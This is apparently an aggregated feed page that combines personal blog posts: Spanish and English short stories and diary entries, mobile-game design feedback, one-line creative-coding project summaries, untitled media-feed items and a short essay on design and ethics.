Nacieron los gemelos, el parecido con su madre era impresionante, ojos azules y claros, el pelo amarillo casi transparente, y la piel blanca aunque un poco tostada gracias a mis genes. Durante seis meses no dormimos juntos, nos peleábamos casi diario, nuestros amigos dejaron de querer salir con nosotros, hasta que llegó un punto en el que acordamos separarnos.

Tomó tiempo poder tener una relación en la cual nos comportáramos en la presencia del otro, ella logró soportarme demostrando una increíble frialdad cada vez que me veía y yo reservándome mis pensamientos. Los gemelos crecieron con ella, acostumbrándose a la frialdad de su madre hacia mí y encontrando una justificación en mi actitud reservada y débil hacia ella.

En cuanto estuvieron en edad para viajar, decidí traerlos a México en el invierno. El primer año fue un desastre, los llevé a mis helados favoritos a que probaran el de leche quemada con esperanzas de transmitirles el amor a mi país; ese día nadie pudo dormir, nos la pasamos turnándonos el baño para vomitar. Al día siguiente fuimos a una comida familiar en la que sus primos los ridiculizaron por no saber bien español o patear un balón de fútbol. Fuimos al centro para visitar Bellas Artes y caminar por Madero, pero el sol y la cantidad de gente fue demasiado para ellos y regresamos en taxi al hotel.

Nunca me quisieron volver a acompañar a México y en cuanto su madre se enteró de los acontecimientos, me prohibió volver a llevarlos. Intenté durante 10 años tener una vida en Estocolmo, pero la mayoría de mis amigos la habían escogido a ella, y mi trabajo cada vez se volvía más monótono y sin sentido. En cuanto pude jubilarme compre una propiedad en las afueras y puse un taller de madera en el cual empecé a construir todos mis muebles. Mis hijos empezaron a espaciar cada vez más sus visitas hasta que un día llegaron los dos a mi puerta a darme la noticia de que su madre había muerto, y que el funeral sería la siguiente semana. Lloré todo un día sentado en mi cama recordando nuestros primeros dos meses juntos, los más felices de toda mi vida, y cómo ahora todo parecía tan lejano e imposible.

Me presenté en el funeral bien vestido y arreglado, intentando dar una imagen de fortaleza que claramente me faltaba. Mis hijos llegaron cada uno con su respectiva pareja. Más tarde, mientras mis hijos iban al baño, me enteré de que llevaban más de un año juntos y que pensaban que el padre de sus novios llevaba muerto muchos años. En un movimiento torpe de una de las novias, noté un pequeño tatuaje de una swastika en su muñeca, ella, al notar mi mirada, me explicó con increíble naturalidad que los cuatro eran miembros del nuevo partido. Alarmado intenté hablar con uno de mis hijos para aclarar la situación, pero solo recibí una amenaza de su parte para no revelar mi ascendencia a ninguno de los presentes.

Ese día decidí regresar a México, pero ya nada de lo que recordaba estaba vivo o me recordaba a mí de regreso, afortunadamente tenía el suficiente dinero para pagar mi estancia en un asilo por el resto de mis días, en donde moriré solo.

— Odio este plan.

— ¿Qué te puedo decir?, es el mejor que tengo.

ellugar Logs



En algún momento, al vivir en un país tropical como lo es México he tenido que responder: ¿Cuál es mi fruta favorita? y durante mucho tiempo contesté con facilidad, el chicozapote.


Y durante mucho tiempo me pregunte sobre el origen de su nombre, ya que el zapote que conozco, tiene este aspecto:


Otra de mis frutas favoritas, el mamey, siempre se me hizo un candidato más apto para ser la versión grande del chicozapote convirtiéndolo en un chicomamey.


Esa fue mi opinión hasta que un día, un amigo mío no conocía el mamey, así que con la facilidad de la vida moderna buscamos en Internet unas imágenes para ver si así lo reconocía. Naturalmente empecé a comentarle sobre mi molestia hacia el nombre del chicozapote y empezando a buscar fotos del zapote me di cuenta, el nombre completo del mamey es mamey zapote.

Desde que tengo memoria había existido esa discusión en mi casa, dado que el chicozapote es una fruta común en Chiapas, tierra natal de mi padre. Y es increíble lo sencillo y fácil que fue resolver la discusión.

ellugar Logs

Día de las madres


En tercero de prepa hice una buena amiga, en algún momento, por razones ahora totalmente desconocidas para mí, empezó a apodarme "Hijo", a lo que yo sin pensarlo mucho le respondía "Madre", durante todo el año seguimos con esa pequeña broma, cosa que a su novio no le hacía ninguna gracia.

Un par de años después, nos encontramos en la fila del baño, era la fiesta de cumpleaños de un amigo en común y empezamos a platicar fluidamente, parecía que el tiempo no había pasado. A diferencia de una cosa, los dos estábamos solteros y por lo menos por mi parte había despertado un nuevo gusto por ella.

En eso, perdidos en la platica, la costumbre y alegría, me gritó.

"¡Hijo!" - "¡Madre!" contesté arrepintiéndome inmediatamente.

Se abrió la puerta, nos vimos a los ojos, me dió la espalda, entró al baño y cerro la puerta, no vi otra alternativa mas que usar el patio como baño, no volvimos a hablar en toda la noche.

Hace unos días, aproximadamente un año después de nuestro último encuentro, empezamos a platicar por mensajes, y acordamos una fecha para ir por un café, esa fecha es hoy, hoy, día de las madres.

ellugar Logs

Probando límites


Hay una edad, donde empiezas a probar tus límites, qué tan alto, qué tan bajo. En algún momento de mi vida, tuve esa edad y rompí mi límite.

Estaba platicando en el patio de la Cineteca, intentando encontrar a una mujer con ciertas especificaciones. Todo comenzó con una plática de gustos y un malentendido entre la definición de belleza y atracción, aunque dejando todo de lado, estábamos ahí para buscar a una mujer guapa y un helado.

Rápidamente nos distrajimos con el encargado de los helados, un mamón a punto de cerrar, con poca paciencia hacia un grupo distraído. En su defensa, Fernando no le estaba poniendo la atención necesaria para que hiciera su trabajo eficientemente y tuvo que tirar un envase pequeño porque Fernando cambió su opinión en el último momento y decidió que 3 pesos de diferencia justificaban un tamaño más grande. Ivonne corrió al baño asustando a una anciana segura de que había cerrado la puerta, luego por experiencia propia descubrí que los seguros en las puertas de los baños de la Cineteca son una mentira.

Con un helado, cada uno caminamos buscando un refugio para el par de fumadores, llegamos al final de la Cineteca y al lado de un bote de basura verde se alcanzaba a leer "zona de fumar", sin lugar a dudas la zona más deprimente de la Cineteca.

Después de terminar su cigarro encontramos una mesa disponible, Ivonne le advirtió a Fernando que se iba a sentar sobre mis piernas, que por favor no lo tomara como una falta de respeto sino como la causa de la ausencia de una chamarra.

¿Alguien sabe qué significa este símbolo? dije, mientras le mostraba a los dos mi celular con una foto que me acababan de mandar, haciéndome la misma pregunta. Es judío, una estrella de David, dijo Fernando sin voltear a ver dos veces. Yo, aún con la duda, ya que había más elementos que una estrella de David en la foto, no presté mucha atención a la plática, que rápidamente se enfocó en el Judaísmo.

Pero entonces te conviertes y ya, asunto arreglado, le dijo Ivonne a Fernando. No puedes convertirte al Judaísmo, no es así de fácil. ¡Según yo sí!

Si alguien me tiene que cortar el pene, jamás consideraría el Judaísmo, protesté yo. Si no estás circuncidado, tienes que hacerlo, contestó Fernando en lo que volteaba a ver su celular, momento que aprovechó Ivonne para voltearme a ver con una cara confundida, dándome a entender que ella tenía la impresión de que yo estaba circuncidado. La confusión se volvió mutua, ya que si alguien ha tenido mi pene de cerca y a quién le confiaría responder esa pregunta, es ella.

Szymon Kaliski

Timav — personal time tracking system


Timav (“chronology” in Volapük) is a tool for analysing time tracking data collected in Google Calendar.

Szymon Kaliski

Timav — time tracking system


Timav (“chronology” in Volapük) is a tool for analysing time tracking data collected in Google Calendar.

Szymon Kaliski

Parametrium — interactive parameter space explorer


Parametrium is a parameter space explorer for P5.js sketches.

Szymon Kaliski

Building Parametrium — interactive parameter space explorer for P5.js


Parametrium is a parameter space explorer for P5.js sketches.

Szymon Kaliski

Building WallGen — evolving abstract wallpapers with GLSL


WallGen is an evolutionary wallpaper generator using genetic algorithm to create never ending list of abstract ambient wallpapers.

Szymon Kaliski

WallGen — evolutionary wallpaper generator


WallGen is an evolutionary wallpaper generator, using genetic algorithm to create never ending list of abstract ambient wallpapers.

ellugar Logs

Nos falta democratizar el tamal


En vísperas del Día de la Candelaria, intenté recordar cuándo fue la última vez que comí un tamal. Llegué a la conclusión de que fue aproximadamente un año antes, en las mismas fechas, probablemente se deba a mi falta de antojo a pesar de recordar buenos tamales en algún momento.

Intentando llegar al fondo del problema, llegué a las siguientes conclusiones.

Tamales vs. Chilaquiles

El contendiente más claro a la contra del tamal en el desayuno mexicano son los chilaquiles, ambos pueden llegar a tener una variedad inmensa gracias a sus salsas y demás ingredientes y son relativamente sencillos de conseguir en la Ciudad de México. Entonces, ¿por qué es más común que desayune unos chilaquiles a un tamal? La conclusión errónea y sin embargo más común; los chilaquiles son superiores, y aquí surgió mi primera inquietud. Al ser alguien que ha probado tanto buenos chilaquiles como buenos tamales, puedo decir que los considero comparables en calidad de desayuno. La distorsionada perspectiva de que los chilaquiles son superiores, viene de que es mucho más sencillo conseguir unos chilaquiles promedio tirándole a buenos, que unos tamales.

Triada de distribución

La CDMX tienes varias opciones para conseguir chilaquiles, un puesto en la esquina, múltiples restaurantes y cafeterías que ofrecen desayunos y restaurantes especializados en chilaquiles. En cambio los tamales carecen del punto intermedio, en rara ocasión puedes entrar a un restaurante y encontrar un tamal en el menú. Sin embargo, las esquinas están repletas de tambos llenos de tamales en las mañanas, las calles retumban con el silbato y la grabación de los famosos tamales oaxaqueños y los godínes aquellos que marcan las tendencias culinarias de las calles, incluyen en su dieta básica la guajolota. Al mismo tiempo, lugares de alta cocina mexicana presumen sus tamales reducidos de tamaño y con sabores estrambóticos.

Es por esto que los tamales dan la ilusión de ser inferiores, es demasiado fácil ser decepcionado al comprar uno, ya que los puestos de la calle no siempre tienen la mejor calidad, ¡al igual que con los chilaquiles!, sin embargo los chilaquiles cuentan con varias opciones de establecimientos que defienden su calidad dando la impresión de que son mejores que los tamales.

Así es como los menús de restaurantes son dominados por chilaquiles rojos o verdes y la presencia de tamales de mole o verdes es casi nula.

La democratización

En fin, para lograr regresar el antojo de un buen tamal al mexicano promedio y darle el lugar que se merece en el menú de desayunos mexicanos, propongo la necesidad de facilitar el buen tamal en establecimientos, restaurantes y cafeterías, ya que parece absurdo que exista una fecha nacional para celebrar su consumo y resulte tan mediocre la experiencia a lo largo del año para conseguir un buen tamal.

ellugar Logs

ClawBert Feedback


Estuve jugando un poco ClawBert, y algo de lo que me di cuenta es que tiene un problema que tuvimos parcialmente en KleptoCats, es un coleccionador con arte súper padre, en el cual no ves el arte en el juego principal.

En KC los ítems estaban acomodados dentro del cuarto, y al principio los gatos no, la gente empezó a pedirnos que hubiera más formas de interactuar con los gatos porque en cuanto desbloqueabas uno nuevo el único momento en el que lo veías era antes de mandarlo a robar cosas, así fue como agregamos los gatos al cuarto.

En CB podría solucionarse con que los huevitos fueran un poco transparentes, de la misma forma en la que funcionan los gashapones japoneses gashapones el problema es que seria un poco más de trabajo para el departamento de arte.

Un beneficio extra que le veo a eso, es motivarte a seguir jugando para conseguir el huevito que está enterrado abajo de otros huevitos, cosa que nos paso en la oficina intentando atrapar la pequeña gema enterrada en huevitos, el tener una meta especifica en el juego y con el poco control que tienes le agrega un nivel extra al juego a mi parecer. Al mismo tiempo puede alentar al jugador a seguir jugando y pagar para abrir un slot gracias al límite de tiempo.

Szymon Kaliski

Building SDF-UI — node-based UI for generating SDF shaders


SDF-UI is a node-based DSL for generating complex shapes using SDF, GLSL and WebGL, that I’ve build in January 2017.

Szymon Kaliski

SDF-UI — node-based ui for generating sdf shaders


SDF-UI is a node-based DSL for generating complex shapes using SDF, GLSL and WebGL.

Szymon Kaliski

Kinect 2 on OSX with skeleton tracking


This tutorial describes how to get Kinect 2 working on OSX with NiTE skeleton tracking.

Szymon Kaliski

Teaching creative coding in Shanghai


I’ve spent last two months of 2016 teaching intensive eight week creative coding course at OFCourse in Shanghai.

Szymon Kaliski

Ultra-portable Pi Zero setup


I was travelling a lot recently while working on PiCap project.

ellugar Logs

Tokio & Love


This, my friends, is a love story in Tokio like many others, and how the internet changed everything.

It started in a long day of Autumn, me and three friends were walking with the intensive weight of a full day of shopping and looking to get to our Airbnb, and then, just like that, there he was, just outside Ryogoku train station, looking at us, he was dancing with a special spin but he never lost eye contact with us.

Till this day I have the feeling he knew it all along, he knew what would happen, I'm sure I was not the first, that's why he had that smile, that's why he never stopped looking at me, because he knew, I was already falling.

I approached cowardly and talked to his owner, my friends were tired and full so they kept walking, I urged him Where can I find you? he promised me they were going to return the next day at the same time at the same place, my friends told me I could come back tomorrow and get his number, we started walking away till we got to our comfy house.

That night I told this story for the first time, Antonio listened to me with interest and passion, he wanted to be there the next day, confidence flooded my body as I knew I had a friend at my side who understood it all.

The next day came, and we were a couple of hungry guys looking for the fulfillment of a promise, we were so exited we talked about it multiple times on the way home, and we were saving our energy for that moment, but when we arrived a Ryogoku at 9:00pm just like we said we would, he wasn't there, not that day or the next one, or the last day of our trip.

I returned to Mexico and I was broken, I couldn't stop thinking of him, I knew I wouldn't find anything like him, but time came, and just like time does, I started to feel better, I never forgot him but I learned to live with the emptiness in me.

Today a cruel joke happened I was browsing Reddit, when suddenly I found a nice wallpaper, I liked the wallpaper a lot so I started to look trough the comments, to find out where he got it, someone linked the Flikr account of the photographer, with a lot of pictures of Tokio in the same style, I hit the next arrow when suddenly there he was, just like the first time looking at me, I could see the same dance I once saw that made me felt in love I couldn't believe it, a rushing feeling started to fill my body, he was below a bridge just at the next block where we met the first time, there he was, the Kebab I never tried, the kebab I will always love.


ellugar Logs

Alchademy Feedback


General thoughts

I Have been playing and showing Alchademy the last couple of days and I think this is the most polished game we have on launch, Also it has the core elements which made Kleptocats such a fun game with a little more game to it.

I do have some feedback and general problems I feel the game has:


With past games, pre-KC we had the constraint of text, we didn't want to use too much text because we didn't want to handle translations and it was more work, this made the games really obvious on the instructions, we re-made a lot of work for balloons for this reason, all the buttons looked like buttons and did flashy animations so people understood that they could click on them, on Muertitos we had a tutorial with the same amount of steps than Alchademy, but each step was only a small line of text with animations and icons to improve the message.

Text Tutorial

With KC, we did tutorials as texts, I never liked it but it woks because KleptoCats it's a really easy game to discover by yourself, you only have one thing you can really interact with on the screen, the main cat, and when you do you have buttons with text that tell you which actions you have, you can't do it wrong, I feel that is the important difference between KC and Alchademy in Alchademy and that is why the text tutorial doesn't feel like the best option.

Text isn't bad but it could be a reinforced mechanic to let the player understand what is happening, this is well applied on the first tutorial prompt where you have to perform an action with the ingredients to be able to advance, you could not read the text, click on an ingredient and understand what to do, and if you don't, you can read the text and have a better idea.

Dismiss Action

Currently the biggest problem I see with the tutorial is the dismiss action, currently the tutorials appear on a prompt, when you look at a tutorial prompt, at first glance you don't know how to dismiss it, we “fixed” this by letting you dismiss the prompt clicking anywhere on the prompt, this is problematic because a lot of times people dismiss the prompt without reading it.

If it is because they don't what to read it is their decision, but if it was a mistake, they lose that information forever because there is no way to relaunch that tutorial, this can be fixed by two ways, all the prompts could have a clear dismiss button, I think the bottom part of the background with the triangle was the intention but it doesn't look like a button, and the same happens with the Gem button at the New character tutorial, it looks like part of the background so I have seen some friends lost looking at the screen and don't know where to click.

The second way to fix this is adding a tutorial button on the menu so players can revisit the information we gave them, not in the same way as in the start of the game, because that would be too problematic and will interrupt the game flow, maybe as a slide show.


This game is really fun to play, when you understand the mechanics and system which makes you have a successful mixture, the tutorial is the most important part to let players get to that part, the main difference between KC and Alchademy is that you can be wrong, you can fail and this is not a bad thing, it makes the game more fun and engaging, it makes it more a game with the idle mechanic KC has, the problem is that if you don't get there, if you don't understand the red water and light dots on the cauldron you can get frustrated, we explain all of this on the tutorial, but if you miss only one prompt is enough for you too feel lost at the game, sure you can play it until you understand it but it takes you longer than in KC because you have more actions, and you have more possibilities to be wrong, a lot of causal players could abandon the game if they don't get why they are getting wrong mixtures.

The average intelligent person would pick up that it the water is red when you drop the second ingredient it means that you are going to do a repeated mixture and overall if you have more dots on your cauldron you have better possibilities to have a new ingredient, but a lot of people won't get that, I think we should be a little more aggressive showing you when you are going to fail. The game feels great for me because I already know this so I can play to get a new ingredient and when I fail it feels like a luck thing, or if I get a repeated I know it's clearly my fault, I think when we manage to make the players understand that it is when we are going to get them to stay and play a long time and the tutorial is the most important thing to let you get there.

New Items and Creations

I'm going to start saying that the new feedback for repeated items feels great, it is very clear when you have a repeated or failed mixture thanks to the visual and audio feedback. On the other side, when you get a new item I think we should encourage them to look at the book.

New Item

When you get a new ingredient you get a new clue of what recipe you already did, you can check this on the book, A lot of people don't enter the book menu and I think there are two reasons for this:

  • On the tutorial when you get a new item you get a prompt pointing at the book which is great, but you can't click on it to check it out, so you don't save that action as something you need to do when you get a new item.

  • You don't have any visual reminder that you have a new item/recipe to check.

This could be fixed by making the player enter the book catalog on the tutorial so that they can continue playing, and adding a little notification to the book that gets dismissed when you click on the new item inside the book catalog.

This is important because it is a way to remind you the recipes that you already did and letting the players make lees mistakes and probably getting less frustrated gaining more retention and as we all know retention is key.


I don't like the system we currently have for creations, placing them on the basket helps a lot, but the only clue you have a t what they are is the tutorial, and I already said why I don't like that, the UX for them is awkward and weird, it is the final thing you can do with you't ingredients, it is like a mini achievement and they are hidden on a sub menu with a button on a corner, maybe putting them on the same screen as the ingredients ant letting you scroll down as @Fayer once said, or making the button the same size as the Ingredients title so it is clear they have the same or more importance than the ingredients, I don't really know how to fix this but I don't think the UI for the creations feels good.

I do think that making you enter the menu on the tutorial as I said on the Items could help, and also a notification on the book. Creations button that get's dismissed when you enter and click on one could make things better.

Final Thoughts

Overall I really like the game, it feels good and it is challenging on a way and beautiful and full of color animations and great music, I think that it can really get good reviews and downloads but something is missing for retaining new players and let them know the game and appreciate it the same way we who understand it do.

Szymon Kaliski

Pi Cap — Raspberry Pi add-on for capacitive sensing


flow/control collaborated with Bare Conductive in building software for Pi Cap which brings capacitive sensing known from their TouchBoard to Raspbbery Pi.

ellugar Logs

Late day



Esta puede ser una buena semana, no sé cuanto tiempo ha pasado desde la ultima vez que me atrasé tanto. Empecé a analizar cada uno de los factores que podrían ser los causantes de este peculiar y alegre acontecimiento, revisé rápidamente PTracker, @Joe, @Oficial y @Tran ya habían tenido la suya el día anterior, una pequeña sonrisa empezó a dibujarse en mi cara mientras me imaginaba la reacción de @Joe cuando le contara.

10:32, y @Joe no ha llegado, sin embargo me sorprendí sintiéndome un poco aliviado, al fin y al cabo tendría más impacto entre más tiempo pasara, el pánico empezó a recorrer mi cuerpo, mientras sentía las familiares punzadas en la nuca, mil pensamientos empezaron a recorrer mi cerebro. ¿Qué si pasa ahora?, justo antes de que llegue, todo mi tema de conversación estaba basado en esto, un minuto tarde podría arruinar mi mejor semana, el sonido de la campana atada a la puerta de Manduca interrumpió mis pensamientos mientras @Joe con movimientos torpes y emocionados se sentaba enfrente de mí.

@Afk Te veo un poco alterado, ¿es por qué no pudiste registrarla? Ya dime la verdad, fue antier verdad, tuviste una triste y pequeña #PP, y no quisiste que nadie lo supiera, y sabes que, no te juzgo, probablemente Yo en tu situación hubiera hecho lo mismo, la verdad es que no le hablas a mucha gente entonces las pocas personas que podrían saberlo... Bueno, estoy aquí y quiero escucharlo todo, es lo que intento decir.

El momento no podría ser mejor, durante una fracción de segundo intente adivinar sus diferentes reacciones a lo que estaba a punto de decir, cada una mejor que la anterior. Separo lentamente mis manos enseñándole las palmas, intentando comunicarle que estoy diciéndole la verdad.

No ha caído, oficialmente rompí mi récord. Pero él sabe que no es solo eso, no solo rompí mi récord, rompí el suyo y el de la mitad de la escuela, poco a poco su cara empieza a contorsionarse, llena de confusión y miedo.

Saque lentamente mi celular para mostrarle, una animación divertida con un pequeño monstruo cargando un trofeo hacia mi foto de perfil.

No te creo nada, algo debiste de haber hecho, el otro día te vi comiendo uvas, ¿fue eso? ¿!UVAS¡?, no puedo controlar una carcajada, y en eso llega @MJ que discretamente se acerca a nosotros, empiezo a notar que la gente a nuestro alrededor ha notado nuestra parecencia.

@MJ no tiene muchas razones para juntarse con un par de perdedores como @Joe y yo, siendo sinceros nunca he entendido bien la dinámica de nuestra relación. La teoría aceptada por @Tran, le ayudamos a sobresalir, al juntarse con nosotros ella se ve mejor. No lo sé y realmente no me importa, disfruto su compañía.

En eso siento una bofetada @MJ con una mueca en la cara detuvo mi risa inmediatamente. Eso es por no contarme lo que estaba sucediendo, tuviste 4 horas para mandarme por lo menos un mensaje y en cambio estas aquí riéndote con @Joe, es bueno saber que para eso vale nuestra amistad.

Confundido y sobando mi reciente herida empiezo a balbucear, Seguramente no es nada, justo antes de verlos tuve un sentimiento de que estaba a pasar, últimamente he andado distraído eso es todo.

Claramente, si el secreto es ser más como tú ya estuvo que me quede sin romper mi récord nunca. Al parecer esa cachetada no solo me devolvió a mí a la realidad.

Empezamos a caminar hacia la escuela formulando todas las teorías posibles en estos casos, me hicieron listar absolutamente todas las cosas que comí desde la vez pasada que registre mi #PP, nada fuera de la normal, aunque bajo el exhaustivo escrutinio de este par todo sonaba súper importante.

Mi primera clase del día normalmente era la peor, apreciación artística, y en esta situación aún peor, la maestra no parecía poder concentrarse porque estaba esperando a que yo levantara mi mano para pedir permiso de salir, o al menos mi paranoia era lo que percibía. @Afk favor de presentarse en la dirección.

ellugar Logs



I'm a lot like Bojack Horesman, but maybe that's a stretch.

Kleptocats is my Secretariant, a project that has exposure and everyone who knows me thinks I was an important part of it.

But in the reality I'm not, I only do the ads.

Today I'm sad, I don't know why, I just know I am. Maybe was because for the first time in a long time I had something to be happy about.

I have been going to the gym for 2 months now, that feels great.

Szymon Kaliski

Heartbeats — audiovisual performance driven by human heartbeats


flow/control created unique hardware and custom software which let Piotr Bejnar play concert on human heartbeats.

serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed

kit envy


serocell - media feed



serocell - media feed



serocell - media feed

2016-02-22 21h52m05


serocell - media feed

weird try


serocell - media feed



ellugar Logs

A Passive Enduring Love


My father was a writer, so it was a common tradition reading a book on a Sunday. Sometimes I had a good idea about what I wanted to read, and it was easy to choose my next book. Some other times it wasn't, and that's when I asked my father for help.

I don't know if it was a good idea when he recommended me Bukowski and some other authors of that type that he was reading at the time, but I greatly appreciated them and quickly, my fathers recommendations became my favorite books.

One of those authors was Ian McEwan and the first book I read of him was First Love, Last Rites, and that book stuck by me. It became a quick answers to the common question "what is your favorite book?"

One day I was looking for a new book to bury my thoughts of a recent breakup with a long time girlfriend, and I went looking for aid to my father. I told him I wanted something like First Love Last Rites, and he showed me the last book he had just bought, Enduring Love by Ian McEwan. Quickly, I started to read it but I couldn't get pass the first chapter. I was devastated. Although I fell in love with the story, I wasn't ready to read something that intense at that specific moment, so I decided to let it rest for a while.

Two weeks later, I went to dinner with a couple of friends. At the end of the night we went to my house and while we waited for the cab to come pick them up, I showed them my library. They were excited so we started talking about our last read books. When my turn came I told the story about Enduring Love and how it had affected me. One of my friends, trying to help me, took the book without me noticing and then told me later that night.

I understand the good intentions behind her actions, but she didn't know, how could she? That Enduring Love was the last book my father recommended me.

Around that time my father started getting really sick, and year later he passed away. My friend didn't give me the book any soon so I was never able to discuss it with him and tell him how much I liked it. She never knew this part of the story and how important that book is for me.... Not even I had realised it until I wrote this down.

Szymon Kaliski

glsl-auto-ui — automatic gui generation


glsl-auto-ui is an experiment in automatically generating UI components for DAT.GUI using GLSL uniforms.

ellugar Logs

The implication


I know the feeling of needing more, you have something, it's not bad, but it's not enough, maybe I should start a story that way, that's how a lot of them start ain't them?.

How does it works?.

Today I saw the preppie connection and had spring rolls.

ellugar Logs

Vim and a new man


Today I spend a lot of my time configuring my vimrc to improve my experience at writing prose with vim, you can check it out on my github, the main discovery was Goyo, I just love the clean look it gives to vim.

Lately I chat a lot with a friend, I told her some weeks ago that I was going to try to be a new man, writing a diary and sleeping 8 hrs without going to bed at 3 am, I failed the pas couple of days, but today is Monday, a new week a new day and I will try again to be a new man.

I like The weekend and Vinyl series.

ellugar Logs

Laughing and talking


Breakfast and Dinner

Today I saw two good friends, girl friends, I tend to get along better with women not sure why, maybe is because the fact that everyone told me that wasn't posible, I mean that's why I sleep facing up.

With one of them I went to a restaurant yo have a pizza, 5 minutes after she left, I got an email from the restaurant manager telling me I forgot my credit card, results he googled arlefreak and found my website, so he grab the email and send it to me, what a nice thing to do.

I tend to see my other friend once a month, where I try to tell her what happened to me on the last month in a funny way, today she recommended me a shaman to heal my bad luck, I don't feel like I have terrible luck, I think I have the best bad luck if that has any sense at all. Maybe I'm writing to much "I's" but this is a diary so I think it's ok.

ellugar Logs



Today I almost didn't wrote anything, it's the third day & I almost din't write, it's hard to maintain a habit, a dairy is one of those, people think you'r writing a little kid thing where you talk about your fears and kid problems. Maybe is time to tell my intentions with this, honestly I just one to practice my English, I wrote a lot of things some time ago but always on my native language Spanish, I have being reading a lot on English but I was missing writing experience, so this is what it is, a small attempt to improve, only that.


Trumbo is a great movie, it made me feel something, like every good movie should, it made me feel powerless as the communist where on the cold war, it made me remember a concurrent thought I have, it pains me when someone is talking about something interesting, that thing that make them who they are, and they need to justify themselves, because someone somewhere treat them like if they where boring, meaningless or incorrect, it makes having a meaningful conversation harder that how it should be, and we don't have a lot of those.

I liked broods today.

ellugar Logs

The forgotten hype


Today I saw the new trailer for Game of thrones, I had forgotten how much I wanted the new content to be out, that's it, also I slept a nap, and finished House of Cards, I liked it, also I like ZHU

ellugar Logs

Job hunting & bike riding


Today I got back on mi bike after a month and a half of being immobilized after a small knee fracture, I forgot to use Strava but I think I rode 30 km aprox, it felt good, today I got back to some other things today.

People being douches

I'm on a job hunting adventure, where I fight my way out of my country, and by that I mean I'm sending my CV via email with a pre-made cover letter and signing in on everywhere I can with my Linkdn Account. That worked for a while but now I'm out of money, mechanical keyboards are a expensive hobby and I want to buy some new key caps and a new USB cable.

What I'm trying to justify is that I started to look for a job in my country that led me to one of the worst Job interviews I have ever had, I'm 23 and the guy interviewing me tried to make me feel less for that, he couldn't. He started bragging about the company big projects, and how they had the expertise that I needed to grow, and how they need a multi-task man who does a little of everything and could work under pressure, at the end he offered me 840 USD a month, I didn't take that job.

A glove ill fitted

For the past year I worked with HyperBeard guys on Apps-O-Rama a SF based company who does apps for clients, we where there to make original ideas for the company, and started as a good opportunity to continue doing games and get paid, we worked on The Balloons for almost 6 months and the game didn't went that great so I was let go, among others. The thing is I was the only member of Hyper Beard that was fired, I mean there where a lot of reasons for that, and was nobody fault, but it doesn't stop feeling like crap.

Now KleptoCats is out, the new game by the HyperBeard guys without me and published by Apps-O-Rama, they had the idea to make a promo website where you can design your own cat, a little paint app and I was hired to do it, so after two months of not going I went to work, it felt weird somehow, not bad, only different because I know I'm not a part of the team

People being nice

If you ask about me the some things may vary depending on when they knew me some will not, some will tell you I like to play basketball, some others I like 'video stuff', the thing is on High School I was that guy that downloaded software and share it with anyone who wanted it. Today I went for a coffee with an old friend friend, to install her Adobe Photoshop, she was nice, she tried her best to make the a pleasant conversation and I think she managed to make it.

ellugar Logs



I normally use 'Hi' as a test string, it's not a good practice but it's a habit I have, so this is what my first post is, a hi. A testing string.

serocell - media feed



serocell - media feed



Szymon Kaliski

GLA London 2050 — data visualization of next 50 years of London development


flow/control collaborated with variable studio and Squint Opera to build online interactive application showing the next 50 years of London development, including changes in population, expansion in transportation, energy, education and many other factors that will impact the city growth and change.

serocell - media feed

the dawning realisation that you're fighting for your soul


Chad Mazzola

Designing self-sustaining systems


For me, “design” evokes hopefulness and future-thinking, while the word “technology” has the smell of the 20th century about it.

Technology and design both share a concern for creating solutions to problems. What causes them to diverge is a matter of ethics. Technology looks inward to itself and asks what is possible. Design looks outward to the human world and asks what is needed.

Technology evokes 20th century ideas of construction and progress. It also evokes the consequences of creations that took no heed to the environment they inhabited. Twentieth century technological progress swept the negative (to call them “unintended” would be too generous) side effects under the carpet: we exported demeaning labor to poor countries, threw our trash into the ocean, vented toxins into the atmosphere.

We no longer have the privilege of externalities in the 21st century. We are running out of corners to hide the trash. We have no choice but to confront the realities of population growth, strained natural resources, global warming, and the strife caused by the chasm between the global rich and poor.

To return to the word “hacking”, we could say that 20th century technology exemplified the negative sense of the word. Not hacking as a search for truth, but hacks—poor solutions to pressing problems.

Design is needed for its emphasis on people and the sense that “good enough” isn‘t good enough anymore. Designed solutions are those that understand the complex environment they inhabit and find solutions that empower and aid without causing destruction in some other corner of the world. Good design will, by definition, be design that exists in harmony with its environment. Self-regulating and self-sustaining systems are everywhere in nature. We can absorb their lessons.

Technology is representative of the 20th century mindset of brute force construction that caused negative externalities on a global scale. Design will become representative of the 21st century hope of coming to grips with the world-changing forces we’ve inherited and finding sustainable paths forward.

Design is technology with ethics. But, still, good intentions are not enough. For design to achieve its aims we must have accurate insight into the consequences of solutions. True innovation in this realm would be the ability to model the consequences of actions before they happen.

Bruno Latour has a fantastic essay that ends with a challenge to designers to do precisely this. We’ve long had the ability to accurately model the objects we design, but what is now needed is the ability to model the consequences of these objects. We need an accurate picture of the contexts and forces that will be altered by releasing new things into the world.

serocell - media feed

no greater love


serocell - media feed



serocell - media feed



Szymon Kaliski

Google I/O — data art made from billion datapoints representing Android users


flow/control collaborated with variable studio to create visualisation showing all Android device users, for the openening I/O keynote delivered by Sundar Pichai on 2015 Google I/O. The visualisation was seen by 6000 attendees, and over 1.8M viewers online, making this the hugest flow/control projects to date.

serocell - media feed



serocell - media feed



serocell - media feed

degraded brik


serocell - media feed



serocell - media feed



serocell - media feed

a minor tragedy


serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



Szymon Kaliski

Fonomapa — interactive audio installation


flow/control built interactive installation for 20th Kids Art Biennale in Poznań in 2015. We created intuitive frontend for exploring the city of Poznań through sounds recorded by children in previous edition of the festival.

Szymon Kaliski



Kinect2OSC is a small application for receiving and transmitting data from Kinect 360 through OSC.

serocell - media feed

not in time


serocell - media feed

happy bird day


serocell - media feed



serocell - media feed

lost in this


serocell - media feed



serocell - media feed

calling in the spirits


serocell - media feed



serocell - media feed



serocell - media feed

mic on drone


serocell - media feed



serocell - media feed

techno no mic


serocell - media feed

in the mist


serocell - media feed

code break


serocell - media feed



serocell - media feed

stupid rave stuff


serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed

mic test 2


serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed

retrieving faith


serocell - media feed

retrieved faith


serocell - media feed



serocell - media feed



serocell - media feed

user48736353001 pt2


serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed



serocell - media feed

imagine christmas wishes shooting out of your eyes


serocell - media feed

scape 22.12.14


serocell - media feed

live settings


serocell - media feed

